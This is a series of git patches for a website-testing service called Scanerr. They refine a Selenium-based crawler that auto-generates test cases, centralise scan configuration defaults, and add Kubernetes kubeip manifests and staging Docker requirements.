From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:58:18 -0600
Subject: [PATCH 498/752] added more exceptions to link check

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index fa6d25f7..a1479de5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -468,7 +468,7 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
             if elem.tag_name == 'a':
                 # check if action will reload page or site root
                 elem_link = elem.get_attribute('href')
-                if current_url == elem_link or elem_link == self.site.site_url:
+                if current_url == elem_link or elem_link == self.site.site_url or elem_link == '/':
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site

From c185b997643f6418cbade961435c59cc6e1ae0ef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 14:10:32 -0600
Subject: [PATCH 499/752] testing new conditions

---
 app/api/utils/autocaser.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a1479de5..5576a6e2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -418,7 +418,14 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        
+        # shuffle elements in place
+        random.shuffle(forms)
+        random.shuffle(buttons)
+        random.shuffle(forms)
+        
         current_elements = forms + buttons + links
+
         return current_elements
 
 
@@ -618,6 +625,7 @@ def get_elements(self):
                     # cleaning new elements
                     cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
+                    # iterating through each elem 
                     for elem in cleaned_elements:
 
                         # get sub element info
@@ -724,6 +732,7 @@ def get_elements(self):
                         # add to layers and ending case
                         layers += 1
                         run = False
+                        break
                 
                     if elem.tag_name == 'a' or elem.tag_name == 'button':
                         # record element

From 2e1fc922c85704f540c236042369dbed13dc3409 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 14:15:27 -0600
Subject: [PATCH 500/752] adding more to prioroty words

---
 app/api/utils/autocaser.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5576a6e2..77966532 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -383,7 +383,8 @@ def get_priority_elements(self, elements: list) -> dict:
             'cart', 'checkout', 'add to cart', 'add to the cart', 
             'add to basket', 'add to shopping basket', 'add to shopping cart', 
             'add to the cart', 'billing', 'address', 'payment', 'purchase now',
-            'order now', 'order', 'shop now', 'continue to payment',
+            'order now', 'order', 'shop now', 'continue to payment', 'contact', 
+            'apply', 'submit', 
         ]
 
         priority_elements = []

From fa53fe1ca9736b499b199fd2c8faec623ec3d7a5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:08:55 -0600
Subject: [PATCH 501/752] added global default configs

---
 app/api/v1/ops/services.py | 99 +++-----------------------------------
 app/scanerr/settings.py    | 17 ++++++-
 2 files changed, 24 insertions(+), 92 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index da90abfd..1f57e65e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -194,18 +194,7 @@ def create_site(request, delay=False):
             create_prospect.delay(user_email=str(user.email))
 
         if not configs:
-            configs = {
-                'window_size': '1920,1080',
-                'interval': 5,
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False,
-                'auto_height': True
-            }
+            configs = settings.CONFIGS
 
         if no_scan == False:
             if delay == True:
@@ -291,18 +280,7 @@ def crawl_site(request, id):
     
     configs = request.data.get('configs', None)
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
     # update site info
     site.time_crawl_completed = None
@@ -495,18 +473,7 @@ def create_page(request, delay=False):
         )
 
         if not configs:
-            configs = {
-                'window_size': '1920,1080',
-                'interval': 5,
-                'driver': 'selenium',
-                'device': 'desktop',
-                'mask_ids': None,
-                'min_wait_time': 10,
-                'max_wait_time': 60,
-                'timeout': 300,
-                'disable_animations': False,
-                'auto_height': True
-            }
+            configs = settings.CONFIGS
 
         if no_scan == False:
 
@@ -595,18 +562,7 @@ def create_many_pages(request, obj_response=False):
             )
 
             if not configs:
-                configs = {
-                    'window_size': '1920,1080',
-                    'interval': 5,
-                    'driver': 'selenium',
-                    'device': 'desktop',
-                    'mask_ids': None,
-                    'min_wait_time': 10,
-                    'max_wait_time': 60,
-                    'timeout': 300,
-                    'disable_animations': False,
-                    'auto_height': True
-                }
+                configs = settings.CONFIGS
 
             if no_scan == False:
 
@@ -863,18 +819,7 @@ def create_scan(request=None, delay=False, *args, **kwargs):
             return data
 
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
@@ -1282,18 +1227,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
     
     if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False,
-            'auto_height': True
-        }
+        configs = settings.CONFIGS
 
 
     if site_id is not None and page_id is None:
@@ -1765,17 +1699,7 @@ def create_or_update_schedule(request):
         page_id = str(page_id)
 
     if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-            'timeout': 300,
-            'disable_animations': False
-        }
+        configs = settings.CONFIGS
 
     if schedule_status != None and schedule != None:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
@@ -2753,14 +2677,7 @@ def create_testcase(request, delay=False):
             steps[int(update['index'])]['action']['value'] = update['value']
 
     if configs is None:
-        configs = {
-            'window_size': '1920,1080',
-            'device': 'desktop',
-            'driver': 'puppeteer',
-            'interval': 5,
-            'min_wait_time': 10,
-            'max_wait_time': 30,
-        }
+        configs = settings.CONFIGS
         
     testcase = Testcase.objects.create(
         case = case,
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 6ced2588..4055b193 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -229,4 +229,19 @@
     STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_LIVE')
 if os.environ.get('STRIPE_ENV') == 'dev':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST')
-    STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
\ No newline at end of file
+    STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST')
+
+
+# global configs object 
+CONFIGS = {
+    'window_size': '1920,1080',
+    'driver': 'selenium',
+    'device': 'desktop',
+    'mask_ids': None,
+    'interval': 1,
+    'min_wait_time': 3,
+    'max_wait_time': 30,
+    'timeout': 300,
+    'disable_animations': False,
+    'auto_height': True
+}
\ No newline at end of file

From cfe1ffbb9bcb08b011fb4a510e533efec4befc81 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:09:20 -0600
Subject: [PATCH 502/752] added Process to resource deletion

---
 app/api/tasks.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e936eaa8..92b5bd95 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -497,6 +497,7 @@ def create_auto_cases_bg(
     self, 
     site_id=None,
     process_id=None,
+    start_url=None,
     max_cases=None,
     max_layers=None,
     configs=None
@@ -542,15 +543,18 @@ def create_testcase_bg(
 @shared_task
 def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
+    max_proc_date = datetime.now() - timedelta(days=1)
 
     if account_id is not None:
         tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
+        processes = Process.objects.filter(account__id=account_id, time_created__lte=max_proc_date)
     else:
         tests = Test.objects.filter(time_created__lte=max_date)
         scans = Scan.objects.filter(time_created__lte=max_date)
         testcases = Testcase.objects.filter(time_created__lte=max_date)
+        processes = Process.objects.filter(time_created__lte=max_proc_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -561,6 +565,9 @@ def delete_old_resources(account_id=None, days_to_live=30):
     for testcase in testcases:
         delete_testcase_s3_bg.delay(testcase.id)
         testcase.delete()
+    for process in processes:
+        process.delete()
+    
     
     logger.info('Cleaned up resources')
 

From 7a2296be9349b5471ea47f0d083428dc537a5c93 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 10:23:23 -0600
Subject: [PATCH 503/752] added configs and start_url to AutoCase

---
 app/api/tasks.py           |  2 ++
 app/api/utils/autocaser.py | 37 +++++++++++++++++++++++++++++++------
 app/api/v1/ops/services.py | 18 +++++++++++++-----
 3 files changed, 46 insertions(+), 11 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 92b5bd95..2a304f27 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -510,6 +510,8 @@ def create_auto_cases_bg(
     AC = AutoCaser(
         site=site,
         process=process,
+        start_url=start_url,
+        configs=configs,
         max_cases=max_cases,
         max_layers=max_layers,
     )
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 77966532..221387f7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -17,7 +17,9 @@ class AutoCaser():
     def __init__(
         self, 
         site,
-        process, 
+        process,
+        start_url: str=None,
+        configs: dict=settings.CONFIGS,
         max_cases: int=4, 
         max_layers: int=5,
     ):
@@ -25,6 +27,8 @@ def __init__(
         # main objects & configs
         self.site = site
         self.process = process
+        self.start_url = start_url
+        self.configs = configs
         self.max_cases = max_cases
         self.max_layers = max_layers
         
@@ -34,7 +38,10 @@ def __init__(
         self.elements = []
 
         # starting driver
-        self.driver = driver_init()
+        self.driver = driver_init(
+            window_size=self.configs.get('window_size'),
+            device=self.configs.get('device'),
+        )
 
         # setting selector script
         self.selector_script = (
@@ -193,7 +200,12 @@ def get_elem_text(self, selector: str) -> str:
     def record_forms(self, elements: list, form: object=None) -> list:
 
         # wait for page to load 
-        driver_wait(driver=self.driver)
+        driver_wait(
+            driver=self.driver,
+            interval=self.configs.get('interval'),
+            max_wait_time=self.configs.get('max_wait_time'),
+            min_wait_time=self.configs.get('min_wait_time'),
+        )
 
         # building forms list
         if form is None:
@@ -496,7 +508,10 @@ def get_clean_elements(self, elements: list, check_against: list=None) -> list:
     def get_elements(self):
 
         # get site page
-        self.driver.get(self.site.site_url)
+        if self.start_url is not None:
+            self.driver.get(self.start_url)
+        if self.start_url is None:
+            self.driver.get(self.site.site_url)
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
@@ -574,7 +589,12 @@ def get_elements(self):
             # ensuring we're at start_page
             if self.driver.current_url != start_page:
                 self.driver.get(start_page)
-                driver_wait(driver=self.driver)
+                driver_wait(
+                    driver=self.driver,
+                    interval=self.configs.get('interval'),
+                    max_wait_time=self.configs.get('max_wait_time'),
+                    min_wait_time=self.configs.get('min_wait_time'),
+                )
 
             # getting element by selector
             try:
@@ -615,7 +635,12 @@ def get_elements(self):
                 print(f'on layer -> {layers}')
 
                 # driver wait
-                driver_wait(driver=self.driver)
+                driver_wait(
+                    driver=self.driver,
+                    interval=self.configs.get('interval'),
+                    max_wait_time=self.configs.get('max_wait_time'),
+                    min_wait_time=self.configs.get('min_wait_time'),
+                )
 
                 # check current page
                 if self.driver.current_url == previous_url:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1f57e65e..01d117c7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,6 +171,10 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # get/set configs
+        if not configs:
+            configs = settings.CONFIGS
+
         # create process obj
         process = Process.objects.create(
             site=site,
@@ -183,6 +187,8 @@ def create_site(request, delay=False):
         create_auto_cases_bg.delay(
             site_id=site.id,
             process_id=process.id,
+            start_url=str(site.site_url),
+            configs=configs,
             max_cases=4,
             max_layers=6
         )
@@ -193,9 +199,6 @@ def create_site(request, delay=False):
             # send POST to landing/v1/ops/prospect
             create_prospect.delay(user_email=str(user.email))
 
-        if not configs:
-            configs = settings.CONFIGS
-
         if no_scan == False:
             if delay == True:
                 # adding pages passed in request
@@ -2509,6 +2512,7 @@ def create_auto_cases(request):
     # get data
     site_id = request.data.get('site_id')
     site_url = request.data.get('site_url')
+    start_url = request.data.get('start_url')
     max_cases = request.data.get('max_cases', 4)
     max_layers = request.data.get('max_layers', 6)
     configs = request.data.get('configs')
@@ -2537,7 +2541,10 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
-            
+    
+    # get/set configs
+    if not configs:
+        configs = settings.CONFIGS
 
     # create process obj
     process = Process.objects.create(
@@ -2551,9 +2558,10 @@ def create_auto_cases(request):
     create_auto_cases_bg.delay(
         site_id=site_id,
         process_id=process.id,
+        start_url=start_url,
+        configs=configs,
         max_cases=max_cases,
         max_layers=max_layers,
-        configs=configs
     )
 
     # return response

From fb3c7b74dab2e15aa957db8f80ef2b9cbfa70385 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 13 May 2024 12:16:58 -0600
Subject: [PATCH 504/752] getting unique elems not associated with a form

---
 app/api/utils/autocaser.py | 27 ++++++++++++++++++++++++---
 1 file changed, 24 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 221387f7..26491be8 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -431,13 +431,34 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = inputs + textareas + buttons
+
+        # get all form inputs, textareas, & buttons
+        form_elems = []
+        for form in forms:
+            # form inputs
+            form_inputs = form.find_elements(By.TAG_NAME, 'input')
+            inputs_textareas_buttons += form_inputs
+            # textarea inputs
+            form_textares = form.find_elements(By.TAG_NAME, 'textarea')
+            inputs_textareas_buttons += form_textares
+            # textarea inputs
+            form_buttons = form.find_elements(By.TAG_NAME, 'button')
+            inputs_textareas_buttons += form_buttons
+        
+        # then remove duplicates
+        for elem in inputs_textareas_buttons:
+            if elem in form_elems:
+                inputs_textareas_buttons.remove(elem)
         
         # shuffle elements in place
         random.shuffle(forms)
-        random.shuffle(buttons)
-        random.shuffle(forms)
+        random.shuffle(inputs_textareas_buttons)
+        random.shuffle(links)
         
-        current_elements = forms + buttons + links
+        current_elements = forms + inputs_textareas_buttons + links
 
         return current_elements
 

From 601b1e59dea5ed8498c9885c07d7c8860c4143dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 12:39:29 -0600
Subject: [PATCH 505/752] added .5 sec of sleep for element img capture

---
 app/api/utils/autocaser.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 26491be8..289fae3d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -167,6 +167,8 @@ def is_element_visible(self, element: object) -> bool:
     def get_element_image(self, element: object):
         try:
             image = element.screenshot_as_base64
+            # sleep for .5 seconds to let image process
+            time.sleep(.5)
         except:
             image = None
         return image

From 7e63bb2c6f9245e5ee23f5b4929c524d22a3911a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:18:11 -0600
Subject: [PATCH 506/752] adding kubeip for static node IP Addresses

---
 k8s/prod/kubeip-daemon.yaml  | 35 +++++++++++++++++++++++++++++++++++
 k8s/prod/kubeip-service.yaml | 32 ++++++++++++++++++++++++++++++++
 notes/Kubernetes.md          |  8 +++++++-
 3 files changed, 74 insertions(+), 1 deletion(-)
 create mode 100644 k8s/prod/kubeip-daemon.yaml
 create mode 100644 k8s/prod/kubeip-service.yaml

diff --git a/k8s/prod/kubeip-daemon.yaml b/k8s/prod/kubeip-daemon.yaml
new file mode 100644
index 00000000..c978f8b6
--- /dev/null
+++ b/k8s/prod/kubeip-daemon.yaml
@@ -0,0 +1,35 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: kubeip
+spec:
+  selector:
+    matchLabels:
+      app: kubeip
+  template:
+    metadata:
+      labels:
+        app: kubeip
+    spec:
+      serviceAccountName: kubeip-service-account
+      terminationGracePeriodSeconds: 30
+      priorityClassName: system-node-critical
+      nodeSelector:
+        kubeip.com/public: "true"
+      containers:
+        - name: kubeip
+          image: doitintl/kubeip-agent
+          resources:
+            requests:
+              cpu: 100m
+          env:
+            - name: NODE_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: spec.nodeName
+            # - name: FILTER
+            #   value: PUT_PLATFORM_SPECIFIC_FILTER_HERE
+            - name: LOG_LEVEL
+              value: debug
+            - name: LOG_JSON
+              value: "true"
\ No newline at end of file
diff --git a/k8s/prod/kubeip-service.yaml b/k8s/prod/kubeip-service.yaml
new file mode 100644
index 00000000..590b9312
--- /dev/null
+++ b/k8s/prod/kubeip-service.yaml
@@ -0,0 +1,32 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: kubeip-service-account
+  namespace: kube-system
+---
+
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: kubeip-cluster-role
+rules:
+  - apiGroups: [ "" ]
+    resources: [ "nodes" ]
+    verbs: [ "get" ]
+  - apiGroups: [ "coordination.k8s.io" ]
+    resources: [ "leases" ]
+    verbs: [ "create", "get", "delete" ]
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: kubeip-cluster-role-binding
+subjects:
+  - kind: ServiceAccount
+    name: kubeip-service-account
+    namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: kubeip-cluster-role
+  apiGroup: rbac.authorization.k8s.io
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 01a484fd..647abe5b 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -80,8 +80,9 @@ kubectl port-forward service/app-service 8000:8000
     - ``` kubectl apply db-deployment.yaml ``` 
 11. port forwarding to app deployment
    -  ``` kubectl port-forward service/app-service 8000:8000 ```
+  
 
-      
+---
 
 ## Setps to Deploy Remotely
 
@@ -138,6 +139,11 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
+### 9. Install kubeip dameon & service
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-service.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-daemon.yaml`
+
+
 ### NOTES:
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`

From 13b4397f1586d105b2fe0128731d32505e20fce1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:18:29 -0600
Subject: [PATCH 507/752] updated staging configs and requirements

---
 Dockerfile.local         | 12 +++++----
 requirements-staging.txt | 58 ++++++++++++++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+), 5 deletions(-)
 create mode 100644 requirements-staging.txt

diff --git a/Dockerfile.local b/Dockerfile.local
index b336cdf6..476510e4 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -1,16 +1,17 @@
 FROM --platform=linux/amd64 ubuntu:latest
+ENV DOCKER_DEFAULT_PLATFORM linux/amd64 
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
 # create the app user
-RUN addgroup --system app && adduser --system app 
+RUN groupadd --system app & useradd --system app 
 
 # installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
+RUN apt-get update && apt-get install -y python3.10 python3-pip
 
 # installing system deps || chromium-browser chromium-driver
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig 
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig
     
 # extra packages
 RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
@@ -46,8 +47,9 @@ ENV DOCKERIZED yes
 RUN google-chrome-stable --no-sandbox --version
 
 # installing requirements
-COPY ./requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
+RUN python3 -m pip install --break-system-packages --upgrade setuptools
+COPY ./requirements.txt /requirements-staging.txt
+RUN python3 -m pip install --break-system-packages -r /requirements-staging.txt
 
 # setting working dir
 RUN mkdir /app
diff --git a/requirements-staging.txt b/requirements-staging.txt
new file mode 100644
index 00000000..67a4e702
--- /dev/null
+++ b/requirements-staging.txt
@@ -0,0 +1,58 @@
+amqp==5.2.0
+asgiref==3.8.1
+beautifulsoup4==4.12.2
+billiard==4.2.0
+boto3==1.20.32
+celery==5.4.0
+certifi==2023.7.22
+chardet==4.0.0
+click==8.1.7
+click-didyoumean==0.3.1
+click-plugins==1.1.1
+click-repl==0.3.0
+Django==5.0.6
+django-celery-beat==2.6.0
+django-filter==24.2
+djangorestframework==3.15.1
+django-markdownify==0.9.5
+django-cors-headers==4.3.1
+django-storages==1.14.3
+djangorestframework-simplejwt==5.3.1
+docker==5.0.0
+gunicorn==20.1.0
+humanize==3.7.0
+idna==2.10
+imutils==0.5.4
+kombu==5.3.7
+Markdown==3.6
+numpy~=1.26.4
+opencv-python==4.5.5.64
+Pillow==10.3.0
+prometheus-client==0.8.0
+prompt-toolkit==3.0.43
+psycopg2==2.9.9
+pyjwt==2.1.0
+pyppeteer==1.0.2
+pytz==2021.1
+redis==3.5.3
+requests==2.25.1
+reportlab==4.2.0
+scikit-image==0.23.2
+scipy==1.13.0
+selenium==4.18.1
+sendgrid==6.9.7
+six==1.16.0
+slack-sdk==3.11.2
+sqlparse==0.4.1
+stripe==8.0.0
+tornado==6.1
+twilio==7.3.0
+urllib3==1.26.5
+vine==5.1.0
+wcwidth==0.2.5
+websocket-client==1.0.1
+whitenoise==6.1.0
+
+
+
+

From 6529bcf8a90b089c36bd1953bd54c624bfbb6c5b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 16:50:01 -0600
Subject: [PATCH 508/752] adding mroe exception handeling

---
 app/api/utils/autocaser.py | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 289fae3d..a65db315 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -711,7 +711,7 @@ def get_elements(self):
                             break
                         
                         # found new form, record and end run
-                        if elem.tag_name == 'form':
+                        elif elem.tag_name == 'form':
                             
                             # record form into sub_elements list
                             sub_elements = self.record_forms(
@@ -783,7 +783,7 @@ def get_elements(self):
                         run = False
                         break
                 
-                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                    elif elem.tag_name == 'a' or elem.tag_name == 'button':
                         # record element
                         sub_elements.append({
                             'selector': elem_selector,
@@ -807,6 +807,15 @@ def get_elements(self):
                         except Exception as e:
                             print('Element not Clickable, removing')
                             sub_elements.pop()
+                    
+                    # catching all other situations
+                    # naving back to previous_url   
+                    else:
+                        print('no coditions were met')
+                        # add to layers
+                        layers += 1
+                        # going back
+                        self.driver.get(previous_url)
 
                 # catching all other situations
                 # naving back to previous_url   

From 056348b45966f620d4770822231069859b130b00 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 May 2024 19:59:29 -0600
Subject: [PATCH 509/752] cleaned up spacing

---
 app/api/utils/autocaser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a65db315..591753f2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -164,6 +164,7 @@ def is_element_visible(self, element: object) -> bool:
 
 
 
+
     def get_element_image(self, element: object):
         try:
             image = element.screenshot_as_base64

From a9112caefb61967dd54b6ddc97d8a8ee832afe8f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:16:47 -0600
Subject: [PATCH 510/752] testing new method to grab forms when possible

---
 app/api/utils/autocaser.py | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 591753f2..20053235 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -420,6 +420,14 @@ def get_priority_elements(self, elements: list) -> dict:
                 elif element not in non_priority_elements:
                     non_priority_elements.append(element)
 
+        # if priotity_elements[] is empty
+        # look for any forms and add them
+        if len(priority_elements) == 0:
+            for element in elements:
+                if element.tag_name == 'form':
+                    # add to priority
+                    priority_elements.append(element)
+
         data = {
             'priority_elements': priority_elements, 
             'non_priority_elements': non_priority_elements
@@ -434,9 +442,9 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        inputs = self.driver.find_elements(By.TAG_NAME, 'input')
-        textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
-        inputs_textareas_buttons = inputs + textareas + buttons
+        # inputs = self.driver.find_elements(By.TAG_NAME, 'input')
+        # textareas = self.driver.find_elements(By.TAG_NAME, 'textarea')
+        inputs_textareas_buttons = buttons # inputs + textareas +
 
         # get all form inputs, textareas, & buttons
         form_elems = []

From e79df0fadf42fb7386dcd9091b4f76ae60191d65 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 10:49:18 -0600
Subject: [PATCH 511/752] testing new duplicate search method

---
 app/api/utils/autocaser.py | 32 +++++++++++++++++++-------------
 1 file changed, 19 insertions(+), 13 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 20053235..732d2a48 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -36,6 +36,7 @@ def __init__(
         # All elememts represent the 
         # begining of a new Case.
         self.elements = []
+        self.final_start_elements = []
 
         # starting driver
         self.driver = driver_init(
@@ -481,6 +482,12 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
         if elements is None:
             elements = self.elements
 
+        # checking against all final start elements
+        for final_start_elem in self.final_start_elements:
+            if final_start_elem == selector:
+                found_duplicate = True
+                return found_duplicate
+
         for elem in elements:
             # check if selector exists already
             if elem['selector'] == selector:
@@ -490,6 +497,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
             # check if sub_elements exists
             if elem['elements'] != None:
                 self.check_for_duplicates(selector=selector, elements=elem['elements'])
+        
 
         # return result
         return found_duplicate
@@ -568,21 +576,19 @@ def get_elements(self):
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
 
-        final_start_elements = []
-
         # choosing random priority element
-        if len(priority_elements) > 0:
+        if len(priority_elements) > 1:
             choosen = priority_elements[
                 random.randint(0, (len(priority_elements) - 1))
             ]
-            final_start_elements.append(
+            self.final_start_elements.append(
                 self.driver.execute_script(self.selector_script, choosen)
             )
 
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while (len(final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(self.final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
@@ -594,9 +600,9 @@ def get_elements(self):
                 iterations += 1
                 continue
 
-            # check if element exists in final_start_elements[]
+            # check if element exists in self.final_start_elements[]
             selector = self.driver.execute_script(self.selector_script, choosen)
-            if selector in final_start_elements:
+            if selector in self.final_start_elements:
                 iterations += 1
                 continue
             
@@ -604,11 +610,11 @@ def get_elements(self):
             if choosen.tag_name == 'a':
                 link_text = choosen.get_attribute('href')
                 if link_text.startswith(self.get_url_root(start_page)):
